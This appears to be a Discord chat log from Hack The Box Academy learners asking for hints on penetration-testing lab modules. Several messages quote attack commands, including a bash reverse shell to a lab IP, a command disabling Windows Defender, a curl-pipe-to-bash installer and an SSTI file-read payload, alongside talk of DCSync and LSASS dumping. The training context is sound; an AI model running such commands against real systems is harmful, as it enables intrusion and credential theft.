#modules
1 messages · Page 296 of 1
Server Side Attack - Blind SSRF
https://academy.hackthebox.com/module/145/section/1300
Which port is open in addition to port 80?
Any tips?
Fellows: crackmapexec or netexec?
Netexec, crackmap is archived
And netexec is the fork of it anyway
fuff ports
learing process finish 😄
I saw very impressive things, are there more resources on these subjects?
please someone can help me with this error
Which error?
Have anyone open Dm to discuss about SA in Introduction Evasion AV module ?
Hi could someone help me with "Subdomain Bruteforcing question"? (module: INFORMATION GATHERING - WEB EDITION). Tried many different things but none of them seems to work.
Already section has provided procedures
Do the same
Just try changing the wordlists
Maybe
nvm, got it
Sure
why i cant send messages to general?
Program 'GodPotato-NET4.exe' failed to run: The specified executable is not a valid application
for this OS platform.At line:1 char:1
https://academy.hackthebox.com/module/19/section/117
ive done this box and got approx 20 detections by the IDS, is it okey knowing its a easy lab or should i improve something
i think the detections were like maximum 10 since every web refresh added 2 detections
Password Attack Module :: Network Services Section
Hydra: doesn't work well for attacking SMB or is it just me / the HTB system / I'm missing a trick? I got definite results using NetExec / CME / and MSF.
Read and follow the instructions in #welcome
Identification error: please contact an online Moderator or Administrator for help.
This exercise behaved strangely for me as well. It seemed like I got a lot of detentions by simply refreshing the web page that showed how many detections had happened, but not so much scanning the box. You're good if you recognize the arguments to tone down aggression on scans.
how can I find admin?
HTB Support. Use chat on their main web page. 🤷
you can DM me
I see, how many detections did you have? Also it is strange the firewall seemed to not work even after I was "banned"
the identification errors are specific to Discord, so support on the website can't help
Thank you for the insight. If the question comes up in the future I'll refer to a discord moderator.
It's been a while since I did that module so I don't remember how many I got. I only remember refreshing the page and seeing the detections number change each time, but the nmap scan didn't really seem to effect it that much. I'll fire it up now and try to see if I can come up with a clearer answer.
Alright, thanks!
Hmmm, somehow the port 53 opened itself? Until 3 minutes ago it was filtrated and I couldn't access it in any way and now I suddenly can, does anyone have an explanation?
Day 2 of hitting Flag 1 , inorder of flag 1 , i think i discovered a lot of info required for other few flags maybe , but still im stuck at flag 1 still , this is clearly making me feel frustrated at this point guys as I'm running out of ideas at this point.
Hello there, I'm really stuck in the malware analysis module on the orange.exe registry key. I've identified the function, and I'm 99% sure I've identified the path but I have a formatting error or something when pasting in the registry key. Can anyone give me a hint please?
Edit: Solved... I was pasting it in with the double slashes, my brain is fried
Is anyone able to help me on this weekend?
It's kinda silly but I can't ssh into this target.
In the security monitoring & SIEM fundamentals module
On the skills assesment for this module, the module doesn't give a username or anything so I just type ssh then the target IP address and it says:
ssh: Could not resolve hostname 10.129.142.91:5601: Name or service not known
We are pretending to be an admin here so I tried admin@ but that doesn't work either
I have a problem. I am in https://academy.hackthebox.com/module/77/section/844 currently and don't know what to do anymore. I ran linpeas and checked a lot of files and still have no clue where to do something. Can anyone give me a hint?
Try using sudo -l
It returns
Matching Defaults entries for user1 on
ng-1399082-gettingstartedprivesc-ip3tc-5bfd7469b9-78zfc:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User user1 may run the following commands on
ng-1399082-gettingstartedprivesc-ip3tc-5bfd7469b9-78zfc:
(user2 : user2) NOPASSWD: /bin/bash
If you spawn the box and load the status page, the counter seems to start at 50/100 detections. If you know services are on there already you can get the answer without incrementing it at all. Like I remember, refreshing that status page seems to make the counter increase more than the scanning itself. And your observation that there isn't any firewall attached to the counter is accurate -- being blocked doesn't actually seem to stop any communication w/ the system.
now try and use that information
I see, now I have another issue, I can't seem to get around https://academy.hackthebox.com/module/19/section/119, could you maybe give me a hint?
Could you please name the module and section you’re on? That way other people can help too without having to click your link to see what you need help with
did you try ssh <user>@<ip> -p <port> ?
Anyone have problems with virtualization on the windows 11 enterprise evaluation vm in the setting up module?
Sure, it is the Network Enumeration with Nmap, section Firewall IDS/IPS Evasion - Hard Lab
Awesome, I haven’t done that one yet, so can’t be of any help 🙂
the module doesn't say what user I am going to assume to ssh in
Alright, no problem
but I tried the ssh ipaddress:5601
I cant find virtualization in BIOS on this windows 11 enterprise evaluation vm, anyone dealt with this?
i just reviewed the assessment page, i do not understand why you are trying to ssh into the box. you just have to connect to elastic via your web browser
what are you trying to do? run a kali vm inside a windows vm?
That is a tricky one. Be sure to thoroughly enumerate the ports that are open and note any oddities. Once you spot it, you'll have to try a few tricks to get an open response and pull any info out of the service.
Hey in the active directory section prinstspoofer actualy what does that tool do ?
In terms of seimpersonation
Yes, I am just following the Setting Up module
Setting Up > Operating Systems > Windows
Dms?
Hello guys :-
Am stuck on Firewall and IDS/IPS Evasion - Medium Lab Exercise.
Am trying to get the DNS sever version and I have really ran out of ideas. I tried all the steps on the DNS Proxying and really have failed to retrieve the version even with netcat.
for me it worked by waiting, the firewall just stopped after a while
I managed to use netcat and it worked lol, no idea how
imo that's kinda a bad idea. But if you google 'nested virtualization' with your hypervisor and hardware, there are resources on how to do it,
But if you are not familiar with messing with your bios etc, i would skip that. It is not needed to complete the course. You are better off having a kali vm and a windows vm.
I thought it seemed strange but I've been away for a while and wanted to try and kind of start fresh. I don't have any issues with changing things, although I can't seem to install windows 11 on my system because secure boot always boots from the wrong drive and I cant seem to change it, but I digress. I wonder why the module would suggest to do it this way then.
I missed the DM request over lunch. Great news though! Play around with the netcat options to see which was important. This was an odd one.
Its suggesting that I build this and use it as a penetration testing host.
it can be practical to have a windows attack host and all the linux tools in the same box, even if you do things like incident response, linux tools are better to parse through logs for instance. You can still do it if you are confortable with it, just google the issue, solutions will be specific to your cpu and hypervisor
I've never used WSL so I was a little excited to try it out. I have a minimal kali vm through wsl2 that I downloaded straight from the store but I haven't messed with it much because I wanted to get the vm working too. I feel like all I've done for hours is google it, but I will keep charging on.
Oh shit
Hmm nested vm is enable in virtualbox too, thought that was going to be it
i think the most common configuration is having a hypervisor like vmware or virtualbox then a kali or parrot vm as attack host.
I wouldn't like having kali in wsl on my main windows host. Things needs to be separated in my opinion.
Completed the Linux fundamentals module. I’ve been using windows all my life (nothing cybsec related), should I skip the windows fundamentals module?
i'd say no, even if you use windows, there are new things to pick up i guess
Yeah that's why I wanted to get it working in the vm, I usually just run a full Kali VM or run it on one of my laptops but having both in one inside a vm sounds kind of fun and I like to try new things
Alright, thanks
I agree, worst thing that'll happen is you won't learn anything
I'm really at my wits end with it right now
yeah, maybe someone here will give you a working solution, but as this is something specific with your config, i think you'd be better off googling for an answer. From here it is difficult to get a clear view on your problem
Hi everyone,
I'm currently in the Advanced Deserealization module and struggling with code understanding and exploitation because I never used C# before. I finished the Introduction to C# module but I still feel a big gap. Maybe someone can recommend resources to learn C#? Especially in the context of web apps.
Appreciate any advice!
Hey im trying to solve Ad skill assesment part 2 and im trying to solve SUBMIT THE CONTENTS OF FLAG ON ADMINISTRATOR DESKTOP ON MS01 HOST
I found a set of creds with crackmap dumping lsa with the user administratot and a password i set
Have a look at C# courses on Udemy or Youtube. In addition, a former HTB employee recommended this book to me.
Pro C# 10 with .NET 6: Foundational Principles and Practices in Programming
Thank you! Your advice is always gold worth ❤️
I am facing the same problem. I still have to learn C# and Java before I attempt the exam
In the password attacks module, in NTDS.dit section, they use a password list called /usr/share/wordlists/fasttrack.txt, but in my pwnbox there is no list as this
I can't establish a reverse shell. My machine runs nc -lvnp 1234 and the target bash -c 'bash -i >& /dev/tcp/10.10.14.110/1234 0>&1', just like the lesson told me. The target has no internet connection and I can only use the bash command. Why isn't it working?
which module is this?
I'm hard stuck on this module "Windows Event Logs and Finding Evil" if anyone is willing to help. I'm on #3 about finding the process that injected into the process that executed the unmanaged powershell
hi I'm on same lesson. If I solve it myself and you still need help later today or whatever I'll help you but not until I solve it.
why am I getting this error?
I am on Passsword attacks Skills assessment Hard, I am still getting this error after following:
Windows Privilege Escalation Skills Assessment - Part I
Was there really a way to get the ||ldapadmin password|| before having a SYSTEM shell? It seems that most people do it in that order, but the question is asked before telling us to escalade privileges. I just want to know if I'm chasing the impossible
Edit: I am
Can I use the modules pwn box to solve machines ?
hi there's an issue with the reverse shell section of shells and payloads module. This command to disable Windows AV doesn't work even if you copy and paste it into the Windows target box:
Set-MpPreference -DisableRealtimeMonitoring $true```
it gives me an error that says:
PS C:\Users\htb-student> Set-MpPreference -DisableRealtimeMonitoring $true Set-MpPreference : You don't have enough permissions to perform the requested operation. At line:1 char:1 + Set-MpPreference -DisableRealtimeMonitoring $true + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Set-MpPreference], CimException + FullyQualifiedErrorId : HRESULT 0xc0000142,Set-MpPreference```
the section says to use that exact command
this is on the target box
I am able to RDP in successfully but once I RDP in that command won't work. how do I fix this?
This VM is so slow
Getting this error when trying to VPN into target system -
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-unit-files ===
Authentication is required to manage system service or unit files.
Multiple identities can be used for authentication:
- mrb3n
- cry0l1t3
Choose identity to authenticate as (1-2): 1
Password:
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
==== AUTHENTICATION FAILED ===
Failed to enable unit: Access denied
I've restarted and log out of the system several times/
I just completely logged out of Hack the Box. I guess I'll try again later.
Do u need to perhaps do it from an admin ps session
Hi
Task scheduling Question what is the type of the service of the “dconf.service”?
answer notify I'm writing this answer, but I don't accept mistakes
Can you help me if you don't mind?
[23:18:39:600] [49475:49476] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[23:18:39:600] [49475:49476] [WARN][com.freerdp.crypto] - CN = WS01
[23:18:41:108] [49475:49476] [WARN][com.freerdp.core.nla] - SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server
[23:18:41:108] [49475:49476] [ERROR][com.freerdp.core] - nla_recv_pdu:freerdp_set_last_error_ex ERRCONNECT_LOGON_FAILURE [0x00020014]
[23:18:41:108] [49475:49476] [ERROR][com.freerdp.core.rdp] - rdp_recv_callback: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[23:18:41:108] [49475:49476] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1
I'm doing windows funds room but when trying to rdp into the machine I get a cert error any ideas?
Can you clear xfreerdp's cache or config file? I'll bet you connected to another system at that same IP and it remembers the old cert; thinks it changed. Just a guess.
https://academy.hackthebox.com/module/112/section/1069 Stuck on last question. I am running two wordlists at the same time, still haven't found any host with ip that ends in .203 yet. It's been running for a while. Hint says use different wordlists, and I'm trying but the process is tedious.
Brute forcing with /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:
Brute forcing with /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt:
so far. Ther are like a dozen different wordlists though. Hmm.
I should combine all the domain wordlists into one and remove duplicates, master list, and sort it. Might help.
Yes you are right
I just ignored the cert tho ans it worked ty
Here's an article with a fix to, but good call 👍
https://servicedesk.mtu.edu/TDClient/1801/Portal/KB/ArticleDet?ID=96506
Hey! In the "Intro to whitebox pentesting" Skill assessment, is there a way to get /flag.txt without doing it via ||sleep timers||?
Could someone give me a hint on which wordlist to use? I've tried a few so far and no luck...
You need a fierce wordlist
Also subdomain of subdomain
It helps if you include the module and section name as well not just a link
It won't
ok
I will try that list thanks. I'll also try to include the module name and section
https://academy.hackthebox.com/module/112/section/1069 in this link, where can I find the module name and section name? I don't see them. Section name is Foot printing? what is the module? I know it's module #3 of the pentest job role path, but I don't know the name. This is just really extra work. It's much easier for someone to just click the link and look at the question
Nope. Foot printing is the module name.
Section is DNS
It's extra steps to look this information up. How necessary is it to provide module name and section name? I thought the link would be more than enough for someone to directly look at what is being asked about. I don't see it necessary to look up the module name and provide it. If you click the link, you can see the material and the question on which I'm stuck. That's the fastest way to my understanding. Thank you.
Thanks for the tip. Found it very fast by using that wordlist.
Otherwise I'd have to go through each list one by one and that would have taken a very long time. Much appreciated.
This is where your link takes me, whats the question?
Intersting, sir
When I click the link I see this:
I see. So we see different things?
Well I can see why it would be useful to include some extra information
Yeah I can see now
It appears so
If the link I share doesn't show you the same thing as I see, then yeah, then you need more info
It's because maybe you don't have academy and you have to be logged in? Just a guess
Nah Im logged in, I havent started that module yet though which could be why
Hmm.
I have a student account as well
I don't understand, I'll include the name and section name, sure
hii
Well if it takes you to the module page, you only need the section name from me then
very true
That I can provide, np
Looking up the module name is not so easy, you have to leave the page, open the modules link, the click current in progress module to see the module name.
So yeah, I can totally provide the section name with a link, np. Thanks.
I didn't realize we saw different things from the same URI
what
Glad we got it figured out 🫡
Cheers
to get started check out #welcome to verify your account
Is there an extra step to get internet connectivity within pwnbox? Im working through the first module "Intro to academy", and cannot visit the target system using Firefox. The connection times out.
Also this is my first post, and I'm very new to HTB 🙂
Yooo
Alright looks like I can land on the target within the learning module, but strange that public websites timeout. Is there a way to allow the pwnbox in the browser to get external internet access?
Hello everyone. Ran into an issue today while doing :https://academy.hackthebox.com/module/19/section/118
When I run the solution given by the "Show solution", it works in the PwnBox but not from my PC (Parrot OS). I have downloaded the VPN file again just to be sure but without any success. Any reason for that or hint about what I should do? It is not the first time it happened to me.
I also check the nmap versions, they are exactly the same.
Having trouble on Preignition
I was able to install go and pull up the the list of switches under the help command. However, I keep getting errors when running the sudo gobuster dir -w /usr/share/wordlists/dirb/common.txt -u {target ip}
it seems that the VPN and the PWNBOX are connected to different network for some reasons?
Strange. Not the best experience for the introductory module. I only have the option to spawn the pwnbox and the target machine. Not a huge issue, as it does allow access to the target machine. Wondering if this is intentional for this particular exercise. Only tested an external website because the target machine also timed out initially. Still an interesting edge case.
Also I continued and did the next lab. First time it worked in the pwnbox and not in my pc (this is how i found out i was on different network as the port shown were different). Then when I changed the server, redownloaded the file, reboot both the PC and PWNBOX, the nmap part works but not the solution I used previously (same for solution preset in the show solution thingy).
Hello?
Do you get an error message?
Hi
Spoiler alert : For context, the first time I tried the Hard lab, the nmap and netcat command were working as expected and I got the flag. Then when I tried on my PC it failed. I then found out that for some reason i was scanning different PC (VPN issue maybe?).
I then changed the VPN and location so my PC and the PWNBOX(SG server) were both on the same VPN (US Academy 6). Re-downloaded the file for my PC. The nmap scan finally gave the expected result for both of them, but I was not able to get the flag using netcat like before (or the solution given in the "show solution"). On the Pwnbox I had a request timeout and on my pc:
sudo nc -nv -p 53 10.129.184.246 53
(UNKNOWN) [10.129.184.246] 53 (domain) : Connection refused
if you are using the free plan, you have limited internet access
Good to know, thanks.
Are you using TCP or UDP?
I tried both
But you only have either VPN or PwnBox active, right?
Both together do not work
Ah that might be why. Let me check that out. But it seemed that in some cases I could not do it even with just one on
If it does not work with the PwnBox and you do not have a VPN active, then contact support
New to HTB, only have done a few in "Starting point". I had difficulty connecting through TCP. UDP worked though. Anyone know why, or if this is a common issue? Connected using OpenVPN in a Kali VM on my home machine.
Hello folks. I'm on this: https://academy.hackthebox.com/module/112/section/1072, FOOT PRINTING, SMTP, Last Question:
I'm using msfconsole to do smtp enum on a username wordlist, but what other wordlists can I use for usernames? The hint says:
On systems usernames are often named after the employee's name. We recommend to use the Footprinting-wordlist provided as resource. Remember that some SMTP servers have higher response times.
Where can I find this footprinting wordlist on Kali linux? Thanks.
https://nmap.org/nsedoc/scripts/smtp-enum-users.html#script-args I can't figure out this script, if it's possible to give this script a custom wordlist to use
The list can probably be found under Resources. If the module provides you with a list, it is not included in Kali
So I should use Parrot OS? The list is in there? I can't see any link for any list in the module
I have just tried with the VPN alone (no pwnbox) it does not work. Same witht he pwnbox. And despite using the same VPN scanning the server gives me 2 different nmap result. I think there is an issue with the VPN. And I cannot use netcat in either case. Same error as before
Then contact support so that they can check this
Thank you for your time
I'm having a ROUGH time with ACTIVE DIRECTORY ENUMERATION & ATTACKS:Kerberoasting - from Linux (https://academy.hackthebox.com/module/143/section/1274). It seems like th domain controller isn't running? I've tried restarting the server a couple of time. Also my SSH keeps dropping my connection every 30 seconds or so (both personal machine and pwnbox).
┌─[htb-student@ea-attack01]─[~]
└──╼ $GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
Password:
[-] [Errno 113] No route to host
┌─[htb-student@ea-attack01]─[~]
└──╼ $for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
64 bytes from 172.16.5.225: icmp_seq=1 ttl=64 time=0.067 ms
Any suggestions?
No you don't
It's literally at the top of the page
Change vpn regions
Huh yeah I see the current regoin I'm using is under high load, I'll give that a shot. But would that fix the domain controller issue?
Potentially, I also suggest switching EU to US or vice versa
Hm that seems kind of counter intuitive 😅
It seems odd but some regions just work better
Thanks!
Hm I hate that that fixed all my issues, thanks!
Your first clue to changing regions/regenerating your vpn was the random disconnects

hello, still same error
my first juicypotato hit after 8 tries and it sends some weird data that kicks me out 💀
aight we good
whats the difference between -sS scan and -sT - my confusion is that both send the same SYN flag and wait for a RST or SYN-ACK packet?
nevermind
-sS is half connection
closes the connection and doesnt allow full connection
Yes I want to learn it
Are you on the module?
Did you have a particular question or issue?
I'm starting to learn it
I'm a beginner
I'm just prioritising to learn these skills so that I can start my bug bounty journey asap
Prioritize learning it over speed
Module: ACTIVE DIRECTORY ENUMERATION & ATTACKS
Section: AD Enumeration & Attacks - Skills Assessment Part II
So far, I have managed to get credentials for m* domain account. This user has administrative rights over M* server. BloodHound shows that the user also belongs to Domain Admins group. However, when I execute whoami /all command, it doesn't show that the user belongs to Domain Admins. Furthermore, I have tried to do the following:
- DCSync using mimikatz =>
ERROR kuhl_m_lsadump_dcsync ; GetNCChanges: 0x000020f7 (8439) - Add the user to
A*group =>Insufficient access rights to perform the operation - Take
NTDS.ditdump => cannot be found on\Windows\NTDS\NTDS.ditlocation, searched and found one on\Windows\WinSxSdirectory, but decrypting usingsecretsdump.pygives error - Take LSASS dump => Only contains information about the same user and computer account(whose hash cannot be cracked)
- Checked for noPac, PrintNightmare, ASREPRoasting, PetitPotam
- I know the user
C*that I need to get access to. But I am not sure how.
Love solving skills assessments and then looking up a write up and finding out I did it a totally different way than normal 
now it's the time to capture some stuff
also I'm pretty sure the machine account won't be in the DA group
Could anyone help me with API Attacks module with question about attacking user masonjenkins@yamil.com ?
Oh, I understand now. That's the module name. I see. Thanks a lot. I was confusing myself.
Hi all, im stuck on the linux privilege escalation (environment enumeration), I know i need to sudo with lab_adm. HOWEVER i cant figure out how, i tried sudo -u lab_adm /bin/ncdu, but that give me permission denied, I tied sudo -l -u <command> nothing works permission denied. What am i supposed to do ? to get into the lab_adm accounts?, I tried sudo -i -u lab_adm <command> , and essentially any combination of sudo + switch + lab_adm you can think of. nothing is working. SO i HAVE TO be doing something wrong
Hi I need help around "Exploiting SSTI - Twig". I get the answer through RCE. However the LFI part does not seem to work
payload name={{ '/flag.txt'|file_excerpt(1)}}
https://imgur.com/a/cRhFV0c (sorry for imgur link, somehow I can't upload an image)
anyone got a go to list for fuzzing file upload extension ? I know about those ones from seclists and payload all the things, but they seem incomplete, not fuzzing everything
Like what?
in the "Intrusion Detection With Splunk (Real-world Scenario)" module, in question no 3. How do I identify a suspicious process that load clr.dll? In fact, there are many legitimate processes that load clr.dll, such as powershell.exe, etc.
@simple loom
@acoustic owl yes, I get an error message
Working around sysmon event id 7 (Image Load). This way you can identify what images are loaded. Once you identify one PE that might be interesting, you can see the processes it started, who us parent to, etc…
what can you capture once you get system? I think we've talked about this before
https://academy.hackthebox.com/module/112/section/1073
Module: Footprinting
Section: IMAP/POP3
Last question: Try to access the emails on the IMAP server and submit the flag as the answer. (Format: HTB{...})
I've fetched the email, full with body, and I can't seem to find the flag anywhere. Could any give a hint on where I'm supposed to see the flag?
Finally got everything done except AEN. Excited to go into it blind and see how good my notes are 😄
Which will likely turn into sadness real quick
I see two mailboxes. INBOX has nothing. the other inbox has 1 email. I fetch it, full with body, and I don't see flag. So I'm lost for right now.
on what basis would a file.exe that load clr.dll be of interest?
i did not retry it recently but it was doable with fetch command. Another option is to use evolution mail app, setup the compromised account and retrieve the inbox content
Oh. You don't just fetch it, you fetch with specific RFC paramter
I got it now. I saw some example of fetch with RFC822 and I tried that and was able to see email body finally
Thank you
When running bruteforce methods on Academy, is there a wordlist one should use specifically. Like in Labs where there is set lists.
SecLists in general will have what you need
Introduction to Pivoting, Tunneling, and Port Forwarding
SOCKS5 Tunneling with Chisel
Should I try using another version of Chisel or try and install the dependencies?
just download the older release from the repo
YARA & Sigma for SOC Analysts - Skill assessment
The "C:\Rules\yara\seatbelt.yar" YARA rule aims to detect instances of the "Seatbelt.exe" .NET assembly on disk. Analyze both "C:\Rules\yara\seatbelt.yar" and "C:\Samples\YARASigma\Seatbelt.exe" and specify the appropriate string inside the "$class2" variable so that the rule successfully identifies "C:\Samples\YARASigma\Seatbelt.exe". Answer format: L________r
Does anyone know how to approach this question in the intended way
I have solved it simply using regex analysis of the strings output of the binary for strings that look like L________r which is probably not the intended way
I haven't found any other way to solve this
Focus not that much on the exe that loads it, but the childprocesses that are generated by an exe that loads it (Check for images or processes created by processes with parent process the one that loaded)
When I access the URL through browser it works fine with download but CLI throws this.
Do you think it's because it is not the main repo?
Since it is .NET you could always analyze it using dnspy and check for those classes 🙂
you can only git clone a whole repo, for individual files use wget
git is only valid for git related stuff
What web browser am I to be using here? (Shells & Payloads skills assessment)
firefox in the terminal
it works, thanks
hello guys can i have some help for the module digital forensic practical scenario ?
Good afternoon, looking for any pointers on the CrackMapExec skills assessment question 3. I've compromised the SQL Server entirely, dumped creds and tried to reuse the hashes (have been unable to crack them). I've run a couple of different scripts as an admin looking for interesting info with no joy on the SQL server. I've identified an Intern user from the SQL database and found a writable share on the DC and tried to see if I can get anyone to authenticate via a malicious file in the share (there doesn't seem to be any info in the share itself). Tried a few different ways to enumerate the DEV server with no joy. Haven't got anywhere with the CME modules looking for group managed passwords etc also. Starting to run out of ideas.
Are you doing 1 fetch 1 all? If so, that's why. You need to fetch the body[]
good idea
Just a short feedback for devs - Rpivot (Pivoting, Tunneling, and Port Forwarding) depends on python2.7 and apparently it was removed from Parrot OS (?) - not available for install in PWNBox.
Fix Install Python2:
curl https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
source ~/.bashrc
pyenv install 2.7
pyenv shell 2.7
python --version
Credits to whomever posted this, bc I got that on my notes a while ago hahaha
Hi
Contact Google for support with Gmail
Me try it over a month but Google is not answering
I know my gmail account old password anyone can help to get it's password 🔑
There is nothing we can do here in terms of Google Accounts.
Google Support only
No, that is illegal and will not be tolerated here
But I need you know any person
Be patient or take your loss. We can not help you as that would be illegal.
module: Information Gathering - Web Edition
section: Web Archives
How many Pen Testing Labs did HackTheBox have on the 8th August 2018? Answer with an integer, eg 1234.
Where can I track how many are there labs?
I mean at all, I know how to use web archive, but I never seen htb post a number of labs
HTB has not always used the TLD com 😉
||a fetch 1 RFC822|| It has to be this. I was doing a FETCH 1 ALL or a FETCH 1 BODY
||* a fetch 1 all
1 FETCH (FLAGS (\Seen) INTERNALDATE "08-Nov-2021 23:51:24 +0000" RFC822.SIZE 167 ENVELOPE ("Wed, 03 Nov 2021 16:13:27 +0200" "Flag" (("CTO" NIL "devadmin" "inlanefreight.htb")) (("CTO" NIL "devadmin" "inlanefreight.htb")) (("CTO" NIL "devadmin" "inlanefreight.htb")) (("Robin" NIL "robin" "inlanefreight.htb")) NIL NIL NIL NIL))
a OK Fetch completed (0.001 + 0.000 secs).
||
The brackets are required with body[]
It's why I explicitly put them there
body[] does the same thing
I see
This is for the one with ICMP tunnel - do I have to degrade my attacker GCLIB version before compiling ptunnel-ng?
Soo I suppose I need to install some autoheader?.. Not that experienced with compiling tbh..
no compile it in your host
oml.. my bad
Man this was hella clunky but thand God it's done
That was a miserable exercise.
The ideas are cool but the environment is like from the 90s
the password attack module is taking me way longer than the 8 hours it mentions in the module description lol
What i do wrong?
are the lists in your current directory?
also bruteforcing winrm is very inefficient, even if your lists are small it will still take forever
You’re not alone mate. Took me ages.
I do as in the module
"password.list" is just an example, you should you your own pass file
Can anyone help me to install the vpn? i'm lost i just started today
Mod Password Attacks sec Network Services
Okay, but then which sheet to take.
I can't find it
so im doing the linux fundamentals, and im doing the first questions, and i feel a little lost, idk if theres something i missed, but the question is "What is the path to the htb-student's mail?" i figured it would be /var/log or /var/mail as the answer but there both wrong and im kinda just lost, didnt know if anyone could point in the right direction to go, i dont want the answer to it
usually cmd looks like
"sudo openvpn academy-regular.ovpn"
you are on right way, there should be smth in /var/mail
there is not, i ran ls and nothing came back
it says i have to type install openvpn to get but where? 😭
the terminal..
it should be installed by default, this command should work
if you are using kali, there is no need to install openvpn. if you are using pwnbox, you don't need to connect to vpn.
if you are using kali, and want to connec to vpn, just use the command "sudo openvpn path/vpn_file.ovpn"
i think it worth to try first the linux fundamentals module
thank you so much, i completely forgot about the /etc dir
I don't think it is an answer...
i dont think so either, but it is a very helpful
there is another answer on the forum
you should read again what is env
I believe it should be in the module
i even used env too and i had the answer in front of me at least 3 times im blind as a bat omg i feel embarrassed af ngl
well we live and we learn
it's okay
Have been stuck on this
Can't enumerate the username at all via brute force or exploration.
Valid username filter "Invalid credentials."
Invalid username filter "Unknown username or password."
Used xato 10 million and names.txt both from SecLists.
Cookie's are PHPSESSID and aren't exploitable.
Profile.php can't be accessed by modifying the status code or anything.
And 2fa.php won't work with any registered user. Tried to brute force till 10k combinations with the current sessid of my registered user.
https://academy.hackthebox.com/module/80/section/848
Windows Privilege Escalation
Communication with Processes > Named Pipes
"From here, we could leverage these lax permissions to escalate privileges on the host to SYSTEM."
How? By using getsystem through a meterpreter shell? Did I miss a concrete example somewhere in the CPTS path?
Hello, i am running into an issue here, Module/hacking wordpress/skill assessment... I get the following, any help?
Did you try to open the url in a web browser?
yes, the website is displaying nicely
but is it running wordpress?
is it not supposed too? it's the wordpress module. am i miss something
explore the site
I found a flag and some reason HTB is not accepting it
i hear you, okay
check the port, check where the site is placed... maybe it's like http://ip/wordpress
or maybe the website is located on a subdomain 😉
why go this far for easy module 
check the flag format, or maybe if there are more questions, maybe you are not entering the right flag for that question
glad i'm not the only one lol
I did HTB{flag}
always take into account all the options, pay attention toe details and try debbuging, because you will learn a lot trying to fix things or understanding errors
what module and section?
JavaScript Deobfuscation Source Code
check for spaces
No spaces
if there are spaces before, or after, you will get that error
None before or after
let's not just put flags here outright yeah, even if it's a tier 0 module
My bad
that's not the right flag for that section
got it working now, thanks ! @next bronze @steady dust
the name of the section would be a hint
Hi, I'm trying to resolve the question "How many total packages are installed on the target system?" in the "File Descriptors and Redirection" section from Linux Fundamentals module. I've tryied with use find command and searching some extensions (.deb, .dpkg) and other option, using "apt list --installed | wc -l" but i haven't obtain the correct answer. Some hints that it can redirect me? Thanks so much!
Subject: Linux Fundamentals - The "Find Files and Directories"
Feedback:
- Material covered has nothing little to do with the exercises presented to us
- would be beneficial to see the format desired for question 1 " What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k?"
I have tried all conf files that I can determine work:
- auto.conf
- tristate.conf
Neither work and The "Show Solution" button does not work
If anyone has any suggestions please let me know
Hi, try: " find -name *.conf -type f -size +25k -size -28k 2>/dev/null "
Hi, I have tried this now: " dpkg --list | grep '^ii' | wc -l "
Hi, I need a little help to understand the csrf token theft in this module: Cross-Site Request Forgery (POST-based) (Session Security cours)
I don't understand how HTML injection is used to send the token to our server
Evening don't suppose I could get a nudge with this? Still stuck.
Hello Hackaz! I am in SQL modules: https://academy.hackthebox.com/module/33/section/194
The question I need help with: Try to log in as the user 'tom'. What is the flag value shown after you successfully log in?
It says I am logged as 'admin' which was demonstrated in the article, but I am supposed to be 'tom' and find a flag which doesn't appear to be in a source code or in the network tab.
I'm having trouble getting my Noriben file to save on the malware analysis module
have you tried using 'or' logic within the username field?
I know what you mean, but I am already in with username tom. There is just no flag. I think it is a bug.
if it's showing admin, your not logged in as tom
Then it must be bug.
Will try it again tomorrow, if I still don't get the flag, I'll open a chat.
Hello, I need some help please on SERVER-SIDE ATTACKS module, Identifying SSRF, stuck on Exploit a SSRF vulnerability to identify an internal web application. I have no idea how they want me to identify an internal web application with SSRF.
https://academy.hackthebox.com/module/145/section/1295
I'm currently on domain information from footprinting and it's straight gibberish, I can't understand like anything at all, could someone help me by explaining the commands in this section? Thank you!
In Information Gathering - Web Edition Creepy Crawlies, I need to identify the location where future reports will be stored but all that I am finding is this. While gives me a hint that something might be in the comments but it says to give the answer with the full domain. Any suggestions to finding more info through the reconspider?
Can anyone help me with lockphish in kali
There is a problem in direct link
I am not getting any direct link as output
I am not able to upload pic here so plz help me with this if anyone can
those are what's showing in results.json?
It's what the module gave me .The domain its asking for me to do reconspider on is the same as the example. But when I download everything in the module and run the reconspider, it says permission denied and doesn't save anywhere. But running the same command with sudo says python3.pv doesnt exist.
you mean reconspider.py doesnt exist?
footprint module: "What is the customized version of the SNMP server?" i've no idea what the answer format should be, any hints?
Yes
and you did the wget and unzipped it
yep
InFreight [Protocol] v[Version]
aaahhh thank you!
np man
try pip3 install scrapy --break and then redownloading reconspider and unzipping it and see if that works
Ok thanks
Permission error... But i don't get for what
there are no js files on the instance
i'm sorry, i dont know where to go from there, hopefully someone more verse can step in
No worries thanks for trying
It says Requirement already satisfied
Ow ok sorry I thought you had still issues with scrapy
You should run the script from a directory you can write in. You got permission error
so "cd /root/Desktop" or wdym?
I would use somewhere in my home folder and not run everything as root
can you show me an example? when u say that i think or doing "cd /root/Desktop/(home folder)" and I feel like youre saying not to do that lol
just "cd "
